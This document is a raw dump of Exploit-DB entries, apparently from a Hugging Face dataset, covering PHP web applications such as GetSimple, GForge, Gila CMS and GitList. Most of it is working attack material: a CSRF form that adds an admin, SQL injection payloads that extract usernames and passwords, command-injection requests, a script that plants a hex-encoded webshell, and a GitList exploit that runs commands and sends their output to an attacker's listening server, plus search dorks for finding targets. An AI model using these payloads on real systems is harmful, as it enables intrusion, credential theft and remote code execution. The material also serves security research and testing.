deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48745
Description: GetSimple CMS Plugin Multi User 1.8.2 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2020-08-13
Author: boku

Exploit:
# Exploit Title: GetSimple CMS Plugin Multi User v1.8.2 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec)
# Date: August 2020-08-12
# Vendor Homepage: http://get-simple.info/extend/plugin/multi-user/133/
# Software Link: http://get-simple.info/extend/export/960/133/multi-user.zip
# Version: 1.8.2
# Tested On: Windows 10 Pro + XAMPP
# CWE-352: Cross-Site Request Forgery (CSRF)
# Vulnerability Description:
#   Cross-Site Request Forgery (CSRF) vulnerability in Multi User v1.8.2 plugin for GetSimple CMS allows remote attackers to add an Admin user via authenticated admin visiting a third-party site.

## Usage: 
+ Change <IP||DOMAIN> to target IP address or domain name
+ Change <ADMIN> to target username
+ Change <PASSWORD> to target password

## CSRF POST Form Method
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<IP||DOMAIN>/admin/load.php?id=user-managment" method="POST">
      <input type="hidden" name="usernamec" value="<ADMIN>" />
      <input type="hidden" name="useremail" value="ADMIN&#64;DOMAIN&#46;LOCAL" />
      <input type="hidden" name="ntimezone" value="" />
      <input type="hidden" name="userlng" value="en&#95;US" />
      <input type="hidden" name="userpassword" value="<PASSWORD>" />
      <input type="hidden" name="usereditor" value="1" />
      <input type="hidden" name="Landing" value="" />
      <input type="hidden" name="add&#45;user" value="Add&#32;New&#32;User" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #4738
Description: gf-3xplorer 2.4 - Cross-Site Scripting / Local File Inclusion
Type: webapps
Platform: php
Date: 2007-12-18
Author: MhZ91

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                           
---------------------------------------------------------------

Http://www.inj3ct-it.org	    Staff[at]inj3ct-it[dot]org	

---------------------------------------------------------------

	Local File Inclusion & Full Path Discolusure

---------------------------------------------------------------

# Author: MhZ91 nobody.91@hotmail.it 

# Download script: http://sourceforge.net/projects/gf-3xplorer/

# magic_quotes_gpc = Off

# Exploit 

# http://[site]/[path]/updater.php?lang_sel=[LFI]%00

# http://[site]/[path]/thumber.php?lang_sel=[LFI]%00

---------------------------------------------------------------

# Xss

# http://[site]/[path]/index_3x.php?newdir=">[Xss]

# And other more..

---------------------------------------------------------------

# phpinfo(); View

# http://[site]/GF-3XPLORER/explorer/phpinfo.php

---------------------------------------------------------------

# milw0rm.com [2007-12-18]
Exploit-DB #25693
Description: GForge 3.x - Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2005-05-24
Author: Filippo Spike Morelli

Exploit:
source: https://www.securityfocus.com/bid/13716/info

GForge is affected by a remote command execution vulnerability.

This issue arises because the application fails to sanitize user-supplied data passed through URI parameters.

An attacker can supply arbitrary shell commands through the affected parameter to be executed in the context of the affected server.

GForge versions prior to 4.0 are vulnerable to this issue. 

GET /scm/viewFile.php?group_id=11&file_name=%0Auname%20-a;id;w%0a
Exploit-DB #6707
Description: GForge 4.5.19 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-10-09
Author: beford

Exploit:
Gforge <= 4.5.19 Multiple Sql Injections

Vendor Notified: 2008-10-06
Note: should work regardless magic_quotes_gpc setting.

http://gforgesite.xxx/new/?group_id=&limit=50&offset=50;select 1 as id,CURRENT_USER as forum_id, version() as summary
http://gforgesite.xxx/news/?group_id=&limit=50&offset=50;select+1+as+id,unix_pw+as+forum_id,+user_name||unix_pw+as+summary+from+users
http://gforgesite.xxx/top/topusers.php?offset=0;select+1,version()+as+user_name,3,4,5;

Replace 1337 with a valid group_id:

http://gforgesite.xxx/frs/shownotes.php?release_id=*/+--+454&pub_sql=;select+1+as+is_public,1337+as+group_id,current_user+as+name,4+as+notes,version()+as+changes,6;/*

# milw0rm.com [2008-10-09]
Exploit-DB #6708
Description: Gforge 4.6 rc1 - 'skill_edit' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-09
Author: beford

Exploit:
Gforge <= 4.6 rc1 skill_edit SQL injection

Vendor Notified: 2008-10-06 
Impact: zomg!
Note: should work regardless magic_quotes_gpc setting.
Requires: Creating an account and be logged in
Vulnerable function: handle_multi_edit($skill_ids) on /www/people/skills_utils.php

http://gforge.site/people/editprofile.php?skill_edit[]=1);select+1,2,3,version()+as+title,5,6;+--+&MultiEdit=Edit

# milw0rm.com [2008-10-09]
Exploit-DB #30638
Description: GForge 4.6/4.5/3.1 - 'Verify.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-04
Author: Jose Sanchez

Exploit:
source: https://www.securityfocus.com/bid/25923/info

GForge is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. A fix is available from the vendor.

Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects GForge 4.6; other versions may also be affected. 

http://www.example.com/GForgePath/account/verify.php?confirm_hash="/><p>This must not happen</p>
Exploit-DB #36656
Description: GForge 5.7.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-02-02
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/51799/info

GForge is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible. 

http://www.example.com/gf/user/eleo/usercalendar/my/?action=UsercalendarEventDelete&event_id=6&redirect_to=monthview&start_date=[PII_REDACTED]%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E

http://www.example.com/gf/user/eleo/userblog/my/admin/?action=UserblogDelete&id=2%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
Exploit-DB #4404
Description: GForge < 4.6b2 - 'skill_delete' SQL Injection
Type: webapps
Platform: php
Date: 2007-09-13
Author: Sumit Siddharth

Exploit:
Sql Injection Vulnerability In GForge

Portcullis Security Advisory 07-014

Vulnerable System: All current versions till 4.6b2

Vulnerability Title: Sql Injection

Vulnerability Discovery and Development: Portcullis Security Testing Services.

Credit for Discovery: Summit Siddharth - Portcullis Computer Security Ltd.

Affected systems: N/A

Vendor Status: emailed vendor 17/08/2007

Details:

vulnerable script:- /www/people/editprofile.php

'skill_delete' parameter is not properly sanitized. The following POST request made to the vulnerable script will result in disclosure of all the usernames/password stored in the backend databases.

skill_delete%5B%5D=484)+UNION+ALL+SELECT+user_name||unix_pw+from+users--%3d1&MultiDelete=Delete

Impact: This could lead to unauthorized access of information.

Exploit:

POST request to:/www/people/editprofile.php

skill_delete%5B%5D=484)+UNION+ALL+SELECT+user_name||unix_pw+from+users--%3d1&MultiDelete=Delete .

This will work irrespective of the 'magic_quotes_gpc' php setting. 

# milw0rm.com [2007-09-13]
Exploit-DB #26653
Description: GhostScripter Amazon Shop 5.0 - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15634/info

GhostScripter Amazon Shop is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

GhostScripter Amazon Shop 5.0.0 and prior versions are vulnerable; other versions may also be affected. 


http://www.example.com/search.php?query=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&mode=all&imageField.x=21&imageField.y=4
Exploit-DB #42442
Description: GIF Collection 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-10
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: GIF Collection 2.0 - SQL Injection
# Dork: N/A
# Date: 10.08.2017
# Vendor Homepage : http://www.scriptfolder.com/
# Software Link: http://www.scriptfolder.com/scriptfolder-gif-collection-2-0/
# Demo: http://gif2.scriptfolder.com/
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
# http://localhost/[PATH]/gifs.php?id=[SQL]
# -27++/*!11111union*/+/*!11111select*/+/*!11111concat*/(username,0x3a,password),0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137+from+users--+-
# http://localhost/[PATH]/updaterate.php?id=[SQL]
# Etc...
# # # # #
Exploit-DB #44718
Description: Gigs 2.0 - 'username' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: Gigs v2.0 - Login Page SQL Injection
# Dork: N/A
# Date: 23.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/gigs-services-marketplace/20716059
# Version: v2.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
because it fails to sufficiently sanitize user-supplied data before using
it in an SQL query.Exploiting this issue could allow an attacker to
compromise the application, access or modify data, or exploit latent
vulnerabilities in the underlying database.
====================================================

# PoC : SQLi :

https://test.com/thegigs/user/dashboard/is_valid_login

POST /thegigs/user/dashboard/is_valid_login HTTP/1.1
Host: dreamguys.co.in
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/javascript
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://test.com/thegigs/
Content-Length: 27
Cookie: ci_session=33p2j7q2a35qt5vrjt1r0985pt2i0v7g
Connection: keep-alive
username=demo&password=1234

Vulnerable Payload :

Parameter: username (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: username=demo' AND SLEEP(5) AND 'NVll'='NVll&password=1234


====================================================
Exploit-DB #47185
Description: GigToDo 1.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-07-29
Author: m0ze

Exploit:
# Exploit Title: GigToDo - Freelance Marketplace Script v1.3 Persistent XSS Injection
# Google Dork: -
# Date: 2019/07/28
# Author: m0ze
# Vendor Homepage: https://www.gigtodoscript.com
# Software Link: https://codecanyon.net/item/gigtodo-freelance-marketplace-script/23855397
# Version: <= 1.3
# Tested on: NginX/1.15.10
# CVE: -
# CWE: CWE-79


Details & Description:
The «GigToDo - Freelance Marketplace Script» web-application is vulnerable
to reflected and persistent XSS injections that allows an attacker to
inject JavaScript/HTML code into the front-end, redirect visitor to another
website or steal admin cookies.


PoC [Persistent XSS Injection]:
Register a new account, log in and go to the
https://www.site.com/proposals/create_proposal page. Vulnerable text area
is «Proposal's Description», so paste your payload inside, fill in other
fields and save the data TWICE or your payload WILL NOT WORK. So literally
paste your payload inside the «Proposal's Description» text area and scroll
down to «Update Proposal» button, press it and your data will be saved.
After that u'll be redirected to
https://www.site.com/proposals/view_proposals.php page. Select your created
proposal and press green square dropdown menu on the right («Actions»
column) and click on «Edit» link. After that just don't change anything,
scroll down to «Update Proposal» button, press it and your data will be
saved ONE MORE TIME. That's it, now your payload will work.
Example #1: <h1
onmouseover=';alert(`m0ze`);'>m0ze</h1>1"--><svg/onload=';alert(`Script is
fully protected from SQL Injection and XSS ©`);'><img src='x'
onerror=';alert(`For sure lol`);'>
Example #2: <h1 onmouseover=';alert(`Greetz from
m0ze`);'>m0ze</h1>1"--><svg/onload=';window.location.replace(`
https://twitter.com/m0ze_ru`);'>
Exploit-DB #48590
Description: Gila CMS 1.11.8 - 'query' SQL Injection
Type: webapps
Platform: php
Date: 2020-06-16
Author: BillyV4

Exploit:
# Exploit Title: Gila CMS 1.11.8 - 'query' SQL Injection
# Date: 2020-06-15
# Exploit Author: Carlos Ramírez L. (BillyV4)
# Vendor Homepage: https://gilacms.com/
# Software Link: https://github.com/GilaCMS/gila/releases/tag/1.11.8
# Version: Gila 1.11.8
# Tested on: Gila 1.11.8
# CVE : CVE-2020-5515

import requests as req
import time as vremeto
import sys as sistemot
import re as regularno

if len(sistemot.argv) < 2:
    print("Usage: ./CVE_2020_5515.py ip:port")
    sistemot.exit(19)
else:
    ip = sistemot.argv[1]

 cookies = {'PHPSESSID': 'r2k5bp52edr9ls36d35iohdlng', 'GSESSIONID': '21k2mbxockr9sf1v1agxkwpkt6ruzdl6vjz6fgmt7s0e72hlas'}


webpath = "/gila-1.11.8/admin/sql?query="
query1 = "SELECT id FROM user LIMIT 0,1 INTO OUTFILE "
localpath = "\'C://xampp//htdocs//"
shellname = "webshell.php\' "
query2 = "LINES TERMINATED BY "


print("[*] Injecting ")

cmdphp  = "0x3c3f[PII_REDACTED][PII_REDACTED]657428245f[PII_REDACTED]53545b27636d64275d29297"
cmdphp += "b2024636d64203d2028245f[PII_REDACTED]53545b27636d64275d293b[PII_REDACTED]656d"
cmdphp += "2824636d64293b206563686f20273c2f7072653e24636d643c7072653e273b2064696"
cmdphp += "53b207d203f3e"

url = 'http://' + ip + webpath + query1 + localpath + shellname + query2 + cmdphp
r = req.get(url, cookies=cookies)

vremeto.sleep(1)

print("[*] Executing")

r = req.get("http://" + ip + "/" + shellname + "?cmd=whoami")

print("You have a webshell in http://" + ip + "/" + shellname "?cmd=command")
Exploit-DB #46557
Description: Gila CMS 1.9.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-03-19
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Gila CMS (search) Cross Site Scripting
# Google Dork: intext:"Powered By Gila CMS"
# Date: 11.03.2019
# Exploit Author: Ahmet ├£mit BAYRAM
# Vendor Homepage: https://gilacms.com
# Software Link: https://gilacms.com/packages/downloadRelease/1.9.1.zip
# Demo Site: https://gilacms.com/demo/
# Version: 1.9.1
# Tested on: Kali Linux
# CVE: CVE-2019-9647

# Vulnerable Parameter: search

# Payload: <--`<img/src=` onerror=confirm``> --!>

# GET Request: http://localhost/?search=<--`<img/src=` onerror=confirm``> --!>
Exploit-DB #49412
Description: Gila CMS 2.0.0 - Remote Code Execution (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-01-12
Author: Enesdex

Exploit:
# Exploit Title: Gila CMS 2.0.0 - Remote Code Execution (Unauthenticated)
# Date: 1.12.2021
# Exploit Author: Enesdex
# Vendor Homepage: https://gilacms.com/
# Software Link: https://github.com/GilaCMS/gila/releases/tag/2.0.0
# Version: x < 2.0.0 
# Tested on: Windows 10

import requests
import time

target_url = "http://192.168.1.101:80/Gila/"
cmd = "calc.exe"

url = target_url+"?c=admin"
cookies = {"GSESSIONID": "../../index.php"}
headers = {"User-Agent": "<?php shell_exec('"+cmd+"'); include 'src\\core\\bootstrap.php';  ?>"}
requests.get(url, headers=headers, cookies=cookies)
time.sleep(5)
requests.get(target_url+"/index.php")
Exploit-DB #36008
Description: Gilnet News - 'read_more.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-11
Author: Err0R

Exploit:
source: https://www.securityfocus.com/bid/48966/info

Gilnet News is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. 

http://www.example.com/[PATH]/read_more.php?id=[Injection]
Exploit-DB #27274
Description: Ginkgo CMS - 'index.php?rang' SQL Injection
Type: webapps
Platform: php
Date: 2013-08-02
Author: Raw-x

Exploit:
 __               ___   ________   __                       __           ____    __  __     
/\ \             /\_ \ /\_____  \ /\ \                     /\ \         /\  _`\ /\ \/\ \    
\ \ \      __  __\//\ \\/____//'/'\ \ \___      __      ___\ \ \/'\     \ \ \L\ \ \ \ \ \   
 \ \ \  __/\ \/\ \ \ \ \    //'/'  \ \  _ `\  /'__`\   /'___\ \ , <      \ \ ,  /\ \ \ \ \  
  \ \ \L\ \ \ \_\ \ \_\ \_ //'/'___ \ \ \ \ \/\ \L\.\_/\ \__/\ \ \\`\   __\ \ \\ \\ \ \_\ \ 
   \ \____/\ \____/ /\____\/\_______\\ \_\ \_\ \__/.\_\ \____\\ \_\ \_\/\_\\ \_\ \_\ \_____\
    \/___/  \/___/  \/____/\/_______/ \/_/\/_/\/__/\/_/\/____/ \/_/\/_/\/_/ \/_/\/ /\/_____/

############################################################################################
# Exploit Title   : Ginkgo CMS SQL injection                                               #
# Date            : 31 July 2013                                                           #      
# Exploit Author  : Raw-x                                                                  # 
# Site            : http://www.ginkgo-cms.com/                                             #   
# Tested on       : Linux                                                                  #    
############################################################################################

Dork: 

~~~ inurl:"index.php?rang=" intext:"Ginkgo CMS" ~~~

Examples:

http://server/index.php?rang=5'/**/div/**/0/**/UNION/**/SELECT/**/1,2,3,4,5-- -


############################################################################################
#                       Thanks to:   lulzhack.ru | zentrixplus.net                         #
############################################################################################
Exploit-DB #4142
Description: Girlserv ads 1.5 - 'details_news.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-03
Author: Cold Zero

Exploit:
Girlserv ads <= 1.5 Remote SQL Injection Vulnerability

Found By : Cold z3ro , Cold-z3ro@hotmail.com

Homepages : http://hackteach.org , http://h4ps.com

Script : http://www.girlserv-demo.com/girlserv-ads1.5.zip

For Admin :
/details_news.php?n=det&idnew=-1/**/union/**/select/**/0,1,admin_name,3,4/**/from/**/admin/**/where%20admin_id=1/*
For password :
/details_news.php?n=det&idnew=-1/**/union/**/select/**/0,1,admin_password,3,4/**/from/**/admin/**/where%20admin_id=1/*

Example ;
http://www.girlserv.com/ads/details_news.php?n=det&idnew=-1/**/union/**/select/**/0,1,admin_name,3,4/**/from/**/admin/**/where%20admin_id=1/*
http://www.girlserv.com/ads/details_news.php?n=det&idnew=-1/**/union/**/select/**/0,1,admin_password,3,4/**/from/**/admin/**/where%20admin_id=1/*

=================================================
0-day Exploit :)
=================================================
Greets : Hackteach members , Pal-hacker.com admins ,  xp10.com members , and
All friend
=============================================
Cold !F iT z3ro , No One Equal One
=============================================

#Long life Palestine
#http://hackteach.org

# milw0rm.com [2007-07-03]
Exploit-DB #44548
Description: GitList 0.6 - Remote Code Execution
Type: webapps
Platform: php
Date: 2018-04-26
Author: Kacper Szurek

Exploit:
'''
# Exploit Title: GitList 0.6 Unauthenticated RCE
# Date: 25-04-2018
# Software Link: https://github.com/klaussilveira/gitlist
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
  
1. Description
 
Bypass/Exploit `escapeshellarg` using argument injection: `git grep --open-files-in-pager=whoami`.

More info about this technique:

https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html
 
2. Proof of Concept
'''

import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re

url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001

print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"

print "REMEMBER TO DISABLE FIREWALL"

search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)

if len(repos) == 0:
	print "[-] No repos"
	os._exit(0)

for repo in repos:
	print "[+] Found repo {}".format(repo)
	r = requests.get("{}{}".format(url, repo))
	files = re.findall(r'href="[^\"]+blob/master/([^\"]+)"', r.text)
	for file in files:
		r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
		print "[+] Found file {}".format(file)
		print r.text[0:100]
		search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])		
		break

if not search_url:
	print "[-] No files in repo"
	os._exit(0)

print "[+] Search using {}".format(search_url)

class GetHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed_path = urlparse.urlparse(self.path)
        print "[+] Command response"
        print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
        self.send_response(200)
        self.end_headers()
        self.wfile.write("OK")
        os._exit(0)

    def log_message(self, format, *args):
        return

def exploit_server():
	server = HTTPServer((your_ip, your_port), GetHandler)
	server.serve_forever()

print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"

r  = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\\"http://{}:{}/?a=\\".urlencode(shell_exec(\\"{}\\")));"'.format(your_ip, your_port, command)})

while True:
    time.sleep(1)

'''
3. Solution:

Update to version 0.7.0

https://github.com/klaussilveira/gitlist/releases/tag/0.7.0
'''